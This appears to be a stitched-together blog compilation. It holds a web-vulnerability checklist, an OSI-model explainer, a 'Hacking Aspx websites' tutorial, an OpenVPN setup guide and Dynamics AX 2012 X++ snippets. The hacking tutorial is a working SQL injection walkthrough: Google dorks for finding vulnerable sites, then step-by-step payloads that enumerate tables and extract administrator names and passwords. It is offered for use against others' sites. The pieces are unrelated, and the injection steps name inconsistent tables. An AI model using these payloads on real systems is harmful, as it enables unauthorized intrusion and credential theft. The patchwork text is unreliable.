[x] Directory traversal including shell uploading
[x] Microsoft Office possible sensitive information
[x] Possible internal IP address disclosure
[x] Possible server path disclosure (Unix and Windows)
[x] Possible username or password disclosure
[x] Sensitive data not encrypted
[x] Source code disclosure
[x] Cross-Site Request Forgery (CSRF)
[x] Email Injection
[x] File Inclusion (LFI,RFI with and without null byte)
[x] Full Path Disclosure
[x] LDAP Injection
[x] Remote XSL inclusion
[x] Script source code disclosure
[x] Server-Side Includes (SSI) Injection
[x] Structured Query Language Injection(SQL Injection)
[x] URL Redirection
[x] XPath Injection vulnerability
[x] EXIF
[x] Buffer Overflows
[x] Clickjacking
[x] Dangling Pointers
[x] Format String Attack
[x] FTP Bounce Attack
[x] Symlinking and Server Rooting
[x] Blind SQL injection (timing - Boolean Based)
[x] Blind SQL Injection (Blind SQL String Based and Double Query Blind Based)
[x] 8.3 DOS Filename Source Code Disclosure
[x] Search for Backup files
[x] Cross Site Scripting in URI
[x] PHP super-globals-overwrite
[x] Script errors (such as the Microsoft IIS Cookie Variable Information Disclosure)
[x] WebDAV (very vulnerable component of IIS servers)
[x] Application error message
[x] Check for common files
[x] Directory Listing
[x] Email address found
[x] Local path disclosure
[x] Possible sensitive files

OSI Layers

7 Layers of OSI


The ISO (International Organization for Standardization) decided to construct a framework of standards in which different vendors would be able to use in order to communicate over a network consisting of diverse equipment and applications.  This framework is now considered the standard for communication of networks.  The OSI is divided into 7 layers, which divides the task into smaller more manageable task groups.  Each task or group of tasks assigned to each layer can also be implemented independently.  This limits complications between layers because the solutions offered by one layer do not adversely affect the other layers.

The 7 layers can be split logically into two subgroups.  Layers 7 thru 4 focus on the end to end communication of data source and destinations.  Layers 3 thru 1 are provide consistent communication between the network devices.  An easier way of looking at the OSI model is dividing the upper layers (7, 6, 5) from the lower layers (4, 3, 2, 1).  The upper layers deal with application issues and are implemented only in software.  The highest layer, the application layer, is the closest to the end user.  The lower layers are responsible for the transportation of the data.  The physical layer and the data link layer are implemented in hardware and software. The lowest layer, the physical layer, is closest to the physical network medium (the wires, for example) and is responsible for placing data on the medium.

The following is a top-down explanation of the OSI Model. It starts with the user's PC and it follows what happens to the user's file as it passes though the different OSI Model layers. The top-down approach was selected specifically (vs. starting at the Physical Layer and working up to the Application Layer) for ease of understanding. It is used here to show how the user's files are transformed (through the layers) into a bit stream for transmission on the network.


LAYER 7 - APPLICATION

The application level provides services that directly support the user applications, such as user interface, e-mail, file transfer, database access, etc. There are many protocols at this layer that are commonly needed such as HTTP, WWW, FTP, TELNET, SMTP. It gives applications access to the network through the layers below. Another important function is file transfer between computers. Some computers store file names or represent text lines differently. The application layer takes care of the incompatibilities and allows a smooth transfer between systems.
Protocols: FTP1, HTTP2, SMTP3, DNS4, TFTP5, NFS6, TELNET7.


LAYER 6 - PRESENTATION

The presentation level is translator between the application and network format. Unlike the lower layers, its concern is with the syntax and semantics of the information transmitted. Most user programs do not exchange random binary bit strings. They exchange data such as names, addresses, dates, etc. Different computers store the data in a different way. In order to allow these computers to transmit the data to each other the presentation layer translates the data into a standard form to be used on the network. Another function is data compression which can be used to reduce the number of bits needed to send the packet of information. Security is also added at this layer by using data encryption and decryption. This prevents others from intercepting the data and being able to decipher the meaning of the bits.
Protocols: ASCII8, EBCDIC9, MIDI10, MPEG11, JPEG12.


LAYER 5 - SESSION

 This layer allows applications on connecting systems to communicate using a session. It opens, uses, and closes this communication link. It also acts as a dialog control mechanism controlling who is able to transmit. Sessions can allow data to be sent in both directions at the same time or only one direction. The session layer determines who has the ability to transfer at the current time. Another valuable ability is to insert checkpoints during data transfers. During a large file transmission if the system crashes the checkpoints allow the system to start downloading at the last known checkpoint. An example of this is during either a interactive login or file transfer connection, the session would recognize names in the session and register them into a history. It could then connect and reconnect in case of a system crash at either of the systems.
Protocols: SQL13, RPC14.


LAYER 4 - TRANSPORT

 The basic function of the transport layer is to accept data from the session layer, break up the data into smaller units if need be, and send these manageable data packets to the network layer. At the destination this layer is responsible for combining the packets into their original state. This layer also checks to see if the layers are in the right order when received and not in duplicated form. If there is an error in one of the packets there is a request for that packet's retransmission. There are two protocols that sit at this layer. First, the TCP protocol connects the sender and the receiver using a socket which is determined by the IP address and port number. TCP keeps track of the packet delivery order and which ones need to be resent. UDP on the other hand is a connectionless communication and does not guarantee packet delivery between sender and receiver. Because it is connectionless the sender sends the data into the network with an IP address of the receiver and hopes it makes it to its destination. Since there is not a way of asking the sender to retransmit because of an error there is little error protection if any.
Protocols: TCP15 or UDP16.



LAYER 3 - NETWORK
The network layer basically handles all of the addressing issues. This layer addresses packets, determines the best path or route, and manages network problems such as data congestion. There are three ways in which the packets are routed to their destinations. First, there could be a static route through the entire network that will never be changed. Second, there could be a static line only used during a particular session between the sender and receiver. Finally, the packets could be dynamically sent through the network using changing paths in order to prevent bottlenecks. The bottlenecks are formed when there are too many packets present in one subnet causing them to get in each other's way. The network level is also responsible for converting the network address and names to the MAC addresses of the machines. One of the most important functions of this layer is the ability to allow two different networks using conflicting addressing schemes to be able to send data to each other. The network layer allows the different protocols to "talk" to each other and understand where the packet's destination is.  Routers work at this level by sending the packets along the network.
Protocols: IP17, ICMP18, ARP19, PING20, Traceroute21.



LAYER 2 - DATA LINK

The data link layer defines the format of data on the network. All of the data sent through the network are made into a frame which is performed at this level. The frame is a uniform way of sending the data along with address information and error checking capabilities. CRC is used for the error detection at this level. If at the receiving end the CRC fails at this level there is a request back to the sender for retransmission of this packet.
Protocols: IEEE 802.222, 802.323, 802.524.


LAYER 1 - PHYSICAL

 The physical layer is responsible for establishing, maintaining and ending physical connections (point to point) between computers. This layer is concerned with the actual interpretation of the bit stream into an electrical signal that can be carried across a physical medium. The protocols at this layer deal with the binary transmission, voltage levels, and data rates. This layer would also specify physical medium properties such as cables and network cards.
Protocols: IEEE 802.323, 802.524.

-by Kali Linux

Hack Website

Hacking Aspx websites

 how to make a injection on a aspx based website.

1) seach aaspx website.
for this step you can use one of this dorks
".aspx?bookID="
".aspx?cart="
".aspx?cartID="
".aspx?catalogid="
".aspx?category_list="
".aspx?CategoryID="
".aspx?catID="
".aspx?cid="
".aspx?code_no="
".aspx?code="
".aspx?designer="
".aspx?framecode="
".aspx?id="
".aspx?idcategory="
".aspx?idproduct="
".aspx?intCatalogID="
".aspx?intProdId="
".aspx?item_id="
".aspx?item="
".aspx?itemID="
".aspx?maingroup="
".aspx?misc="
".aspx?newsid="
".aspx?order_id="
".aspx?p="
".aspx?pid="
".aspx?ProdID="
".aspx?product_id="
".aspx?product="
".aspx?productid="
".aspx?showtopic="
".aspx?Sku="
".aspx?storeid="
".aspx?style_id="
".aspx?StyleID="
".aspx?userID="
".aspx?Id="

2) If you found one lets check if the website is vulnverable. Add this text after the url
"order by 1--"
example : http://www.target.com/index.aspx?Id=1 order by 1--
Now you will get a Error : "Page not found" or something like that.

3) Lets go on and begin with the Injection the first step of every injection is to find out the columns.
for this step we use :
"having 1=1"
you only have to copy it behind the url
example : http://www.target.com/index.aspx?Id=1 having 1=1

4) Well lets go on and search the tables. Use this code for it
and 1=convert
example : http://www.target.com/index.aspx?Id=1 and 1=convert
The output is the first table of the databse. But this table don't helps you .
You need to find the admin table.
Use this query to get the next table :
"and 1=convert
(int,(select top 1 table_name from information_schema.tables where
table_name not in ('Tab_FinalOrder')))"

example : http://www.target.com/index.aspx?Id=1 and 1=convert
(int,(select top 1 table_name from information_schema.tables where
table_name not in ('Tab_FinalOrder')))

Now we get the name of the admin table. The Admintable name is in this example "Administration"

5) Now lets get into the table Administration
use this query for it:
and 1=convert

"(int,(select top 1 column_name from information_schema.
columns where table_name = 'AdminMaster'))"

example : http://www.target.com/index.aspx?Id=1 and 1=convert
(int,(select top 1 column_name from information_schema.
columns where table_name = 'AdminMaster'))

6) Our results are the tables "AdminName" and "AdminPassword"
Now have dont the most part of this injection. The last step is to find out Adminname and Adminpassword.

Query for Admin name :
"and 1=convert(int,(select top 1 AdminName from Administration))"
example : http://www.target.com/index.aspx?Id=1 and 1=convert(int,(select top 1 AdminName from Administration))

Query for Admin pass :
"and 1=convert(int,(select top 1 AdminPassword from Administration))"
example : http://www.target.com/index.aspx?Id=1 and 1=convert(int,(select top 1 AdminPassword from Administration))

7) So now your are nearly finish. You only need to find out the Admin Login Pannel.

Setup open VPN

How to Setup FreevpnMe using openVPN

  1. Download openVPN from here
  2. install openVPN client
  3. Get FreeVPNme Credenitals and clientbundle from here
  4. extract the clientbundle and copy the configuration files
  5. open C:\programfiles\openvpn\config [paste the file in this directory\
  6. right click opnvpn tray icon ,It will list all the connections used in the clientbundle
  7. select one and click connect 
  8. provide username and password 
  9. thats it , youre done.Enjoy

AX 2012:Loop through records

Loop through record from data source [AX 2012]

1.Using a while loop

salesLine_ds    = _salesLine.dataSource();
    localSalesLine  = salesLine_ds.getFirst(true) as SalesLine;

    if (localSalesLine)
    {
        while (localSalesLine)
        {          
            //Do your logic
            localSalesLine = salesLine_ds.getNext() as SalesLine;
        }
    }

2.Using a for loop

salesLine_ds = _salesLine.dataSource();
    for (localSalesLine = salesLine_ds.getFirst(true) ? salesLine_ds.getFirst(true) :    salesLine_ds.cursor();
         localSalesLine;
         localSalesLine = salesLine_ds.getNext())
    {      
        //your logic
    }

AX 2012: Create new module

How to Create new module in ax 2012

======================================================================
New Module:

1-  create a "Parameter" table in "Table" node of AOT (Like – “OfcAdminParameters”).

2- Create "Key" field in that table.

3- Create "Index" for "Key" field.

4- Create several methods in "Methods" node of "Parameter" table in AOT. (Like - Delete, Update, exist, and Find, NumberSeqModule)
************************************************************************************
Methods –on Parameter table level
Delete:
Void delete ()
{
Throw error ("@SYS23721");
}
Update:
Void update ()
{
Super ();
//just write flush Parameter table name
Flush OfcAdminParameters;
}
Exist:
Static Boolean exist ()
{
Return (select firstonlyRecId from OfcAdminParameters).RecId != 0;
}
Find:
//AOSRunMode::CalledFrom
Static OfcAdminParameters find (Boolean _forupdate = false)
{
OfcAdminParameters parameter;

parameter.selectForUpdate(_forupdate);

Select firstonlyparameter Index Key     Where parameter.Key == 0;
If (!parameter&& !parameter.isTmp())
{
Company::createParameter(parameter);
}
Return parameter;
}

NumberSeqModule:-
Static client server NumberSeqModulenumberSeqModule ()
{
Return NumberSeqModule::OfcMgmt;
}

// If you want to create another module then -
5- Now, add an element to "NumberSeqModule"BaseEnum.
*************************************************************************************
6- Create a new Number Sequence Class Named "NumberSeqModuleModuleName"

7- Add a method "NumberSeqModule" to that class.

Method’s for NumberSeqModuleModuleName class –
1.Class Declaration:-
public class NumberSeqModuleOfficeManagement extends NumberSeqApplicationModule
{

}

2.NumberSeqModule:-
Public NumberSeqModulenumberSeqModule ()
{
  Return NumberSeqModule::OfcMgmt;
}
*************************************************************************************
8- Create a "Form" to display the new “parameter table's data”.
9- In Class "NumberSeqModuleModuleName" add override method "load module".
Coding  of Load Module =>
 Public void loadModule ()
 {
NumberSeqDatatypedatatype = NumberSeqDatatype::construct ();
;
//Gulshan
datatype.parmDatatypeId(extendedtypenum(CourierID));
datatype.parmReferenceHelp(literalstr("@SYS32633"));
datatype.parmWizardIsContinuous(true);
datatype.parmWizardIsManual(NoYes::No);
datatype.parmWizardIsChangeDownAllowed(NoYes::No);
datatype.parmWizardIsChangeUpAllowed(NoYes::No);
datatype.parmWizardHighest(99999);
datatype.parmSortField(1);
this.create (datatype);
}


10-To load "NumberSeqLoadModule" information for module, create “Job”.
Coding for Job =>
Public static void InstallOfficeManagement (Args _args)
{
NumberSeqModuleOfficeManagement n = new NumberSeqModuleOfficeManagement ();
  // NumberSeqModuleFacilityManagement n = new NumberSeqModuleFacilityManagement ();
n.loadModule ();
Print ("Job Executed Successfully");
Pause;
}
11-Now Setup "Number Sequence" just follows these steps;
    a) Go to CEU> Organization Administration
    b) Then Number Sequences > Number Sequences
    c) Click on "Number Sequence" in "New" tab.
    d) Fill the information in "Identification" tab.
    e) In "Scope parameters" tab select (Shred/Company)
    f) In "Segments" tab set the length of number sequence.
    g) Now in "General" setup click "continuous" option.
    h) Save and generate.
i) Click "close"

12-Now add "NumRef" method in "parameter table" name “NumRefEDTname”.Coding for NumRef Method :-
static client server NumberSequenceReferencenumRefCourierID()
{
returnNumberSeqReference::findReference(extendedTypeNum(CourierID));
}

13-In class declaration of a form add =>
Public class FormRun extends ObjectRun
{
NumberSeqFormHandlerNumberSeqFormHandler;
}
14-Add "NumberSeqFormHandler" method to the form.
Coding for NumberSeqFormHandler Method =>
NumberSeqFormHandlerNumberSeqFormHandler ()
{
If (!numberSeqFormHandler)
{
NumberSeqFormHandler = numberseqformhandler::newForm(OfcAdminParameters::numrefCourierTransID().NumberSequenceId,element,Courier_Invoice_Table_1_ds,fieldNum(Courier_Invoice_Table, CourierTransID));
}
Return NumberSeqFormHandler;
}

15-Write "close" method in form methods node and "link active, Validate write, Write, Delete" methods on methods     node of data source of form.
Coding  for “Close” Method=>
void close()
{
if (NumberSeqFormHandler)
{
numberSeqFormHandler.formMethodClose();
}
super();
}

Coding  fordatasource method’s:-
LinkActive =>
public void linkActive()
{
;
element.numberSeqFormHandler().formMethodDataSourceLinkActive();
super();
}

ValidateWrite :-
publicbooleanvalidateWrite()
{
boolean         ret;
ret = super();
ret = element.numberseqformhandler().formMethodDataSourceValidateWrite(ret) && ret;
if (ret)
{
Courier_Invoice_Table_1.validateWrite();
}
return ret;
}

Write:-
public void write()
{
super();
element.numberSeqFormHandler().formMethodDataSourceWrite();
}

Delete :-
public void delete()
{
element.numberSeqFormHandler().formMethodDataSourceDelete();
super();
}

Create =>
public void create(boolean _append = false)
{
;
super(_append);
//In the below line we have to write datasourcename.fieldname (very very important for number sequence)
  Courier_Invoice_Table_1.courierTransID = NumberSeq::newGetNum(OfcAdminParameters::numrefCourierTransID(),true).num();
Courier_Invoice_Table_1.InvoiceNumber = NumberSeq::newGetNum(OfcAdminParameters::numrefInvoiceNumber(),true).num();
Courier_Invoice_Table_1.VoucherNumber = NumberSeq::newGetNum(OfcAdminParameters::numrefVoucherNumber(),true).num();

}
........................................................
Other senario Table Methods:-
static FleetParameters find(boolean _forupdate = false)
{
FleetParameters  parameter = null;
;

parameter.selectForUpdate(_forupdate);

select firstonly parameter index Key where parameter.Key == 0;

if (!parameter && !parameter.isTmp())
{
Company::createParameter(parameter);
}

return parameter;
}

public static NumberSeqModule numberSeqModule()
{
return NumberSeqModule::FleetMngmt;
}

static client server NumberSequenceReference numRefFleetNum()
{
return NumberSeqReference::findReference(extendedTypeNum(fleetnumber));
}

static client server NumberSequenceReference numRefRouteId()
{
return NumberSeqReference::findReference(extendedTypeNum(RouteId));
}
........................................................................................................................................
FOrm Methods
public class FormRun extends ObjectRun
{
#HRMConstants

NumberSeqReference          numberSeqReference;
boolean                     runExecuteDirect;
TmpIdRef                    tmpIdRef;
NumberSeqScope             scope;
NumberSeqApplicationModule numberSeqApplicationModule;
container                  numberSequenceModules;
}

public void close()
{

super();
}
public void init()
{
this.numberSeqPreInit();
super();

this.numberSeqPostInit();
}

void numberSeqPostInit()
{
numberSequenceReference_ds.object(fieldNum(NumberSequenceReference, AllowSameAs)).visible(numberSeqApplicationModule.sameAsActive());

referenceSameAsLabel.visible(numberSeqApplicationModule.sameAsActive());
}

void numberSeqPreInit()
{
NumberSeqModule         module;
NumberSeqGlobal         global;
Map                     numseqmap;
NumberSeqModuleFleet    modulefleet = new NumberSeqModuleFleet();
;
runExecuteDirect = false;
numberSequenceModules = [NumberSeqModule::FleetMngmt];
numberSeqApplicationModule = new NumberSeqModuleFleet();
scope = NumberSeqScopeFactory::createDataAreaScope();
module = numberSeqApplicationModule.numberSeqModule();
Appl.numberSeqGlobal().numberSeqModulesMap().insert(NumberSeqModule::FleetMngmt,modulefleet);
NumberSeqApplicationModule::createReferences(NumberSeqModule::FleetMngmt);
tmpIdRef.setTmpData(NumberSequenceReference::configurationKeyTableMulti(numberSequenceModules));
}

FORM Number sequence referrence datasource methods:
void removeFilter()
{
runExecuteDirect = false;

numbersequenceReference_ds.executeQuery();
}

void executeQuery()
{
if (runExecuteDirect)
{
super();
}
else
{
runExecuteDirect = true;
this.queryRun(NumberSeqReference::buildQueryRunMulti(numberSequenceReference,
tmpIdRef,
numberSequenceTable,
numberSequenceModules,
scope));
numbersequenceReference_ds.research();
}
}

Number seq datasource table -> number sequenceid field  methods

public Common resolveReference(FormReferenceControl _formReferenceControl)
{
NumberSequenceCode code = _formReferenceControl.filterValue(
AbsoluteFieldBinding::construct(fieldStr(NumberSequenceTable, NumberSequence),
tableStr(NumberSequenceTable))).value();
return NumberSequenceTable::findByNaturalKey(code, scope.getId(true));
}

public Common lookupReference(FormReferenceControl _formReferenceControl)
{

NumberSequenceTable     selectedRecord;
SysReferenceTableLookup sysTableLookup = SysReferenceTableLookup::newParameters(tableNum(NumberSequenceTable), _formReferenceControl, true);
Query lookupQuery;
;
sysTableLookup.addLookupfield(fieldNum(NumberSequenceTable, NumberSequence));
lookupQuery = new Query();
lookupQuery.addDataSource(tableNum(NumberSequenceTable)).addRange(fieldNum(NumberSequenceTable, NumberSequenceScope)).value(queryValue(scope.getId(true)));
sysTableLookup.parmQuery(lookupQuery);
selectedRecord = sysTableLookup.performFormLookup();
return selectedRecord;
}

---------------------------------------------------------------------------------------------------------------------------------------------------
CLass  Methods:

public class NumberSeqModuleFleet extends NumberSeqApplicationModule
{

}
protected void loadModule()
{
NumberSeqDatatype datatype = NumberSeqDatatype::construct();
;
datatype.parmDatatypeId(extendedtypenum(RouteId));
datatype.parmReferenceHelp("Route ID");
datatype.parmWizardIsContinuous(true);
datatype.parmWizardIsManual(NoYes::No);
datatype.parmWizardIsChangeDownAllowed(NoYes::No);
datatype.parmWizardIsChangeUpAllowed(NoYes::No);
datatype.parmWizardHighest(999);
datatype.parmSortField(20);
datatype.addParameterType(NumberSeqParameterType::DataArea, true, false);
this.create(datatype);


datatype.parmDatatypeId(extendedtypenum(FleetNumber));
datatype.parmReferenceHelp("Fleet Number");
datatype.parmWizardIsContinuous(true);
datatype.parmWizardIsManual(NoYes::No);
datatype.parmWizardIsChangeDownAllowed(NoYes::No);
datatype.parmWizardIsChangeUpAllowed(NoYes::No);
datatype.parmWizardHighest(999);
datatype.parmSortField(21);
datatype.addParameterType(NumberSeqParameterType::DataArea, true, false);
this.create(datatype);
}

Public NumberSeqModule numberSeqModule()
{
  Return NumberSeqModule::FleetMngmt;
}